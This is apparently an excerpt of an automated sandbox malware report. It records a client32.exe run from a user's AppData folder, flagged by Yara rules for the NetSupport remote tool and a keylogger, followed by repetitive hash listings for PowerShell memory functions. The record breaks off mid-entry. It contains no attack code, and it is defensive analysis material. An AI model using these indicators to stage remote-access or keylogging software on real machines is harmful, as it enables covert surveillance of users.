Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000000.2335929437.0000000000762000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.3340023853.0000000003412000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.3339056947.0000000000762000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 26%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:48:48
Start date:	14/07/2024
Path:	C:\Users\user\AppData\Roaming\KYED2\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\KYED2\client32.exe"
Imagebase:	0x760000
File size:	103'824 bytes
MD5 hash:	C4F1B50E3111D29774F7525039FF7086
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.2435001152.0000000000762000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.2435778429.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000006.00000002.2435714485.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.2435714485.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000000.2433476038.0000000000762000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:48:56
Start date:	14/07/2024
Path:	C:\Users\user\AppData\Roaming\KYED2\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\KYED2\client32.exe"
Imagebase:	0x760000
File size:	103'824 bytes
MD5 hash:	C4F1B50E3111D29774F7525039FF7086
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000002.2518592701.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.2518592701.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000000.2515088601.0000000000762000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.2517263762.0000000000762000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.2518663266.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00007FF848FE078D Relevance: .8, Instructions: 807COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396772862.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96cedfcf7ef4fa9205de3d6e3ff94fb6d0b1c41dcf283e4f103c42e4408ca500
Instruction ID: 4be4c934ec5d1b2a1d6b160922bbb3b507d43ef608d75e4c761d3e9eebc59985
Opcode Fuzzy Hash: 96cedfcf7ef4fa9205de3d6e3ff94fb6d0b1c41dcf283e4f103c42e4408ca500
Instruction Fuzzy Hash: 5E320131E0EB8A4FE796BB2858642B57BE0FF96660F0801FAD449C75D3EE1C9C058356

Function 00007FF848F17070 Relevance: 1.6, Strings: 1, Instructions: 341COMMON

Download Yara Rule

Strings

, xrefs: 00007FF848F1718D

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: e305300590c4bab66b815610597dedd48f4c9d019744b18fb5b44b225804fe1c
Instruction ID: ff4bc6f4ce9b1088bf87bdd1b09c4151b9cacaa57f465e887eccf4c32b4a1c9b
Opcode Fuzzy Hash: e305300590c4bab66b815610597dedd48f4c9d019744b18fb5b44b225804fe1c
Instruction Fuzzy Hash: BB914930A0CA5C0FD765EB6CA8056B6BBD1EF99360F1401BBE44DC7297CB289C828385

Function 00007FF848F16000 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

I, xrefs: 00007FF848F1A2AF

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 1fb07dec3b14221715b916a07daee7db6d64bee9a0ea15219accd6bf5ee8d7e0
Instruction ID: 91bbda13a60d2ea04302eb1d46f5fd1d61f2f0cb86a06d7a075dd747ec33584c
Opcode Fuzzy Hash: 1fb07dec3b14221715b916a07daee7db6d64bee9a0ea15219accd6bf5ee8d7e0
Instruction Fuzzy Hash: 2341A431E0D99E8FEB98EB2894557BA76D1EF98390F400239E40DD32C2DF2D6C858795

Function 00007FF848F16268 Relevance: .6, Instructions: 614COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6214062001356a3ffd985e0f8e12cdc5f6dbb8d1fb2b42f81dae537e31d27683
Instruction ID: 7c2c78a2d81131c8de3820fd9940b7e6d43b7e48c4c09a5b6db218314439cdfa
Opcode Fuzzy Hash: 6214062001356a3ffd985e0f8e12cdc5f6dbb8d1fb2b42f81dae537e31d27683
Instruction Fuzzy Hash: B6220534618A4D8FDB98EF1CC898AA977E1FF69301F0501A9E85ED72A5DB35EC41CB40

Function 00007FF848FE4967 Relevance: .5, Instructions: 484COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396772862.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd48e0962c8190bd5bdf98859eafaa42d78307ee62dc0a6c47c577e461660ca
Instruction ID: b0bda9e0d28108bdd77bf1b897f4bcee5e57f4d19399666e45ec56e4ca179b5b
Opcode Fuzzy Hash: 5fd48e0962c8190bd5bdf98859eafaa42d78307ee62dc0a6c47c577e461660ca
Instruction Fuzzy Hash: FBE1F331D0EE864FE7A6AB2858152B47BE1EF666A0F0901FFC049C71D3DA1CAC45835A

Function 00007FF848FE356D Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396772862.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0806b828336789827aa0dc3149006b04bac21fed39c2d7efd9a1855ec2ba5d2f
Instruction ID: 24101543b5727eea75503275827c2a5cbc69ff2feae5d5674f9fa89059d05cef
Opcode Fuzzy Hash: 0806b828336789827aa0dc3149006b04bac21fed39c2d7efd9a1855ec2ba5d2f
Instruction Fuzzy Hash: 5CD12571E1EA8A4FE794EB2C98596B9BBE0FF55354F0801BAD00DC72D2EB1DAC058345

Function 00007FF848F1ABDD Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c797a8a47841115d4a6b17a0a90d51f83e9fa94762503959cfaed65df429c1
Instruction ID: 757633d6b67fc6788bc9308fc4f3deba46373108b2245357d070c65020eb624a
Opcode Fuzzy Hash: e2c797a8a47841115d4a6b17a0a90d51f83e9fa94762503959cfaed65df429c1
Instruction Fuzzy Hash: E021D621D0DAD54FF7A6A33858552A97FE1EF45740F0905FBC448C71D7DA085C898356

Function 00007FF848F1860D Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8615638f37d39123862aed8cab70aaa6b44fb0300cf73f32238ed23cddb0fbc
Instruction ID: ae97c372aebf60a5ca2d7a20d8796df4bee5381190b5ef9d59dac91efd48b67e
Opcode Fuzzy Hash: e8615638f37d39123862aed8cab70aaa6b44fb0300cf73f32238ed23cddb0fbc
Instruction Fuzzy Hash: 6D714531A1C9484FEB99EB2898557B977E1EF89350F4400BAD44EC72C7DF28AC428785

Function 00007FF848F16D6D Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7fd22de4731c17c10c88715ac0e106f361b43f078f11954321ed6b72ad2a78d
Instruction ID: f90d7d701a536343e9b2a4db1a01be728b7b4e5f40aa6302611dee2e3897b80f
Opcode Fuzzy Hash: c7fd22de4731c17c10c88715ac0e106f361b43f078f11954321ed6b72ad2a78d
Instruction Fuzzy Hash: D1715131E28D1A5FEA94FB6884156BEA3E2EF58790F404275D01ED32D6DF2CAC468784

Function 00007FF848F1793C Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7efa01a37f45ab245dcdcbe2be09db1423242defa2cba586a5550fc063ce848
Instruction ID: cbf2ba813011c79c9c696a7f528f4270b61b40682da208c5017281af4e223b9e
Opcode Fuzzy Hash: e7efa01a37f45ab245dcdcbe2be09db1423242defa2cba586a5550fc063ce848
Instruction Fuzzy Hash: 2D61B431F1DD0A4EEBA5BB7854253B9A2D2EF98790F4541B9D04EC32DADF2D6C028345

Function 00007FF848FE49EF Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396772862.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d996d83e1cbd7e619eec606d176ace09e2318d6e6c4b78ce8973bef4235cc257
Instruction ID: 679edbce35f377223e05789655e6cce21f52903efddcd979e6012f3a6de92208
Opcode Fuzzy Hash: d996d83e1cbd7e619eec606d176ace09e2318d6e6c4b78ce8973bef4235cc257
Instruction Fuzzy Hash: 9C61E331E1EE864FE7A8AF28545527466D2EF64BA1F1900BEC40DC71E2DF2CAC45474E

Function 00007FF848F17315 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: add69b49d4c76c209dc7d580ea0305e6e298bc0b2cfaad9249cfd7bee78d3bbe
Instruction ID: d4252032b59eaed294f9be03e324956770ea9da403ee055729e658663af7e4cf
Opcode Fuzzy Hash: add69b49d4c76c209dc7d580ea0305e6e298bc0b2cfaad9249cfd7bee78d3bbe
Instruction Fuzzy Hash: 9051D13060DE498FD7A4EB6CD894A657BE0FF49351B0940BAE48DC72A6DB24EC81C781

Function 00007FF848F167E8 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 746516bd9547f3748f72c087235ab1f7ee5c09465f2556cc8e5f35cee5d0863b
Instruction ID: decd43fdd3b268edc78a91ad2bee0f8c2cf3f5ebecde8f9e5f5cbe1bb16cf80c
Opcode Fuzzy Hash: 746516bd9547f3748f72c087235ab1f7ee5c09465f2556cc8e5f35cee5d0863b
Instruction Fuzzy Hash: 46512331A0DA4A0FE799B73C58592B97BD1DF59390F0802BAD44DC31E3DE19AC868349

Function 00007FF848F1A710 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction ID: d8e7600344eacbb16299de006b7f9ea2913d8788cacb30e9d7c2ef508b46e726
Opcode Fuzzy Hash: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction Fuzzy Hash: C141C73131981C8FDAD4EB1CE898E6977E1FF6C31271505E6E44ACB275DA66DC81CB40

Function 00007FF848F167A0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8453266e82dd3035722f66829578987ce7518748b95ba316ccb22fa0d523368
Instruction ID: c366e9713239be5b13fe56913e3a0826c5bfba75512b5b22632aa8e246e692c1
Opcode Fuzzy Hash: d8453266e82dd3035722f66829578987ce7518748b95ba316ccb22fa0d523368
Instruction Fuzzy Hash: 84415D30B1C90A4FEA94F76C9445AB577D1EF58390F140679D04EC32D6EE2DEC818744

Function 00007FF848FE085A Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396772862.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a4c44721187286507b1c6a68a8821b1786cab5f054a1b8a97e0909a51e70dcf
Instruction ID: 5d63be1250727ee32e1fca701004d52d7e4050e73c198fc6b53d02ce6a5af41f
Opcode Fuzzy Hash: 3a4c44721187286507b1c6a68a8821b1786cab5f054a1b8a97e0909a51e70dcf
Instruction Fuzzy Hash: DF41D432E1EA8B4FF399BB28146527966E1FFD42A1F5800BAC80DC36D2DF1C9804424A

Function 00007FF848F1795B Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca4a4f89db7b06eb9932129311a99ab0f6c5e38214b859e280ae9b9002a3ed8
Instruction ID: 8894a69a6377c1a55cbfc5ce09f23559f247b83054ccce309112a74231042971
Opcode Fuzzy Hash: aca4a4f89db7b06eb9932129311a99ab0f6c5e38214b859e280ae9b9002a3ed8
Instruction Fuzzy Hash: 1041B131F1DD1A4EEBA8B72858617B862D2EF98794F5540B9D44EC32DBDF2DAC418204

Function 00007FF848F17949 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e2d536b3eed9b8aa75362ce424318b3e1d7165bdfb409f9c94f154c71e8e96a
Instruction ID: ec87b3926d4c16818a82f1dd66340b14aef052dd1e24e3c19584b222f2a3bd57
Opcode Fuzzy Hash: 9e2d536b3eed9b8aa75362ce424318b3e1d7165bdfb409f9c94f154c71e8e96a
Instruction Fuzzy Hash: 0441D331F1DD0A4EFBA8B72858217B862D2EF98794F5540B9D44EC32DBDF2DAC418208

Function 00007FF848FE369C Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396772862.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c18fb1b0ad435d3a2ce5af0969d5591ce3828b0fc36d4212a690a4c9fbfd4e2b
Instruction ID: 3a19f32c4f7fe48831a534d785ddc938166f39724fd6b6e76fff9694a6d95535
Opcode Fuzzy Hash: c18fb1b0ad435d3a2ce5af0969d5591ce3828b0fc36d4212a690a4c9fbfd4e2b
Instruction Fuzzy Hash: 1641C271D1EA8B4FE398AB2C98996B9B6D0EF05294F4801BAD40DD32D2EF1CAC448345

Function 00007FF848F1A189 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094a468c77e303d93ef4cd2f2ceffcab48e1b5d18b2b9fe2a8b26564bf556e84
Instruction ID: 1a6b3170f3d1d4e97600fc60ce776b2d19863a09258c9e264f0350c6c9d7383c
Opcode Fuzzy Hash: 094a468c77e303d93ef4cd2f2ceffcab48e1b5d18b2b9fe2a8b26564bf556e84
Instruction Fuzzy Hash: 5F31D03190C68E4FEB98EB2898153B977E1FF98390F44027AE40DD32D2DF296C858791

Function 00007FF848F16728 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cd9d79cac9cf075064c83d4e1419b3a10878dbfeb3a4c749e2b7038b129fd0
Instruction ID: 318c5eff44e0d5bb888e4a60171cfd24acf8988179a1bc80d8c6ca0118d4b123
Opcode Fuzzy Hash: 35cd9d79cac9cf075064c83d4e1419b3a10878dbfeb3a4c749e2b7038b129fd0
Instruction Fuzzy Hash: 4031AE30A0C94A8FEB99EB39D454B6577E1EF99350F5401B9D00ECB2D2DA28ACC2C744

Function 00007FF848F19631 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dec9005059ed2e4f4a474c3b0015078796975f61614a3f68318eb32233f1def6
Instruction ID: c79ab4edb6246c77d4dbf909fe04efbe8f345a527f244ece3d3d04ac7e889b15
Opcode Fuzzy Hash: dec9005059ed2e4f4a474c3b0015078796975f61614a3f68318eb32233f1def6
Instruction Fuzzy Hash: EC219D3062CE488FCB98EB2CC49896577E1FF68311B4505BDE08AC7AA2DB24FC41CB40

Function 00007FF848F1A6F1 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 554b6e2f852002ccf6400aa64aed64fe7ab22681a64733f5cd12b8f554ecd898
Instruction ID: 1a647dd123e52ccec101375e09e2a930c819eb8a41a94ae8eb94c5cb44098549
Opcode Fuzzy Hash: 554b6e2f852002ccf6400aa64aed64fe7ab22681a64733f5cd12b8f554ecd898
Instruction Fuzzy Hash: 87114C3160D9884FD795EB2CE8589647BE0EF6A35271A05E6E088CB5A6EA15DC80C740

Function 00007FF848F1A4C8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 259eb4c3cc579e054501b75dfbc71b912e60e58e52b8d5ec6086a182f06b822a
Instruction ID: 8707c18ac3d8428ac2dfbaa58be686b2511840e075161d237137e51d5be9f8ec
Opcode Fuzzy Hash: 259eb4c3cc579e054501b75dfbc71b912e60e58e52b8d5ec6086a182f06b822a
Instruction Fuzzy Hash: E211C631B0CE090FEB98F72C589557577C1EB98398F14063ED40ED36E5DE69AC818345

Function 00007FF848F163A2 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83cdc34bc2156aab173c568a8cadb61ef05da8675c8d381629ebb82c203ad2c1
Instruction ID: 6da038a8827e450872365274605107194bdadc18b9acb3c0b4bf9cc6fa6945d8
Opcode Fuzzy Hash: 83cdc34bc2156aab173c568a8cadb61ef05da8675c8d381629ebb82c203ad2c1
Instruction Fuzzy Hash: 29012D72F0CA184FE6586A5C78122B973D1E789765F44023FE59EC32D2DE29AC13028A

Function 00007FF848F163B6 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee6a45ac8acca4515bc4140c7ac2ee02a9b36e4a93484220633861345fe6f6d6
Instruction ID: aafb917589d1ff4a623e1f5b466bdc622798775cba5e362c1d44c8d0528feffa
Opcode Fuzzy Hash: ee6a45ac8acca4515bc4140c7ac2ee02a9b36e4a93484220633861345fe6f6d6
Instruction Fuzzy Hash: C3014072F0CA184FE658AA5C78061B973D1E789665F44023FE58FC32D2DF25AC13028A

Function 00007FF848F1A852 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232e59d3b2686bc1662f4a09b28cdf0f5b8584e1f74dccb2132895c30e674f8c
Instruction ID: 87d6a73e82284d74e565e7ec16e074740edbbc1b0238c005888c7e241f1872cb
Opcode Fuzzy Hash: 232e59d3b2686bc1662f4a09b28cdf0f5b8584e1f74dccb2132895c30e674f8c
Instruction Fuzzy Hash: 8D21303050CA898FDB96EB28D454F617BE1EF55354F1945A9D04DCB2E3DA25EC82CB40

Function 00007FF848F163C7 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab654144e31e70f546c899f6e37726dff0a0888ddf62c69a7f9c3bc9352e4992
Instruction ID: ef6b822b2364f11e1397436f771cf88e5a9aeae64239d878ff589f8129ecee23
Opcode Fuzzy Hash: ab654144e31e70f546c899f6e37726dff0a0888ddf62c69a7f9c3bc9352e4992
Instruction Fuzzy Hash: 7C014072F0CA184FA658AA5C78561B973D1E789665F04023FE59EC3291DE25AC13028A

Function 00007FF848F1A348 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 037bcf3e6f2dbc95372ac640466d1fc97774814aee733485bdae9f874723792b
Instruction ID: a6a3c654868ee67e5d84a0b33dfb27d40dcd93c65e11d8a2c7dfb522d78c39f0
Opcode Fuzzy Hash: 037bcf3e6f2dbc95372ac640466d1fc97774814aee733485bdae9f874723792b
Instruction Fuzzy Hash: FE118C3294C9894FD715B724A8604F67BE5EB81350F0402AFD04EC71D2DA5EAD86C385

Function 00007FF848FE0BE8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396772862.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491dc5fd34a511726a40d080ae373730606fac7aa37c78906d684a2c94a81e5f
Instruction ID: 8db3cfff3c69ca88c911859e2064a05c702964df66e1cd17b1cd5660ee332b9a
Opcode Fuzzy Hash: 491dc5fd34a511726a40d080ae373730606fac7aa37c78906d684a2c94a81e5f
Instruction Fuzzy Hash: C5016232E1E91A4FF7A9B61C14251B991D2FFD4691F9801BAD90EC35C6DE0C9C144289

Function 00007FF848F13975 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2396286229.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 99608d6f0e8030f30fad7a72a81a186ab8f0c7a5e80f4dd6cfb7ec3db4e8f7c6
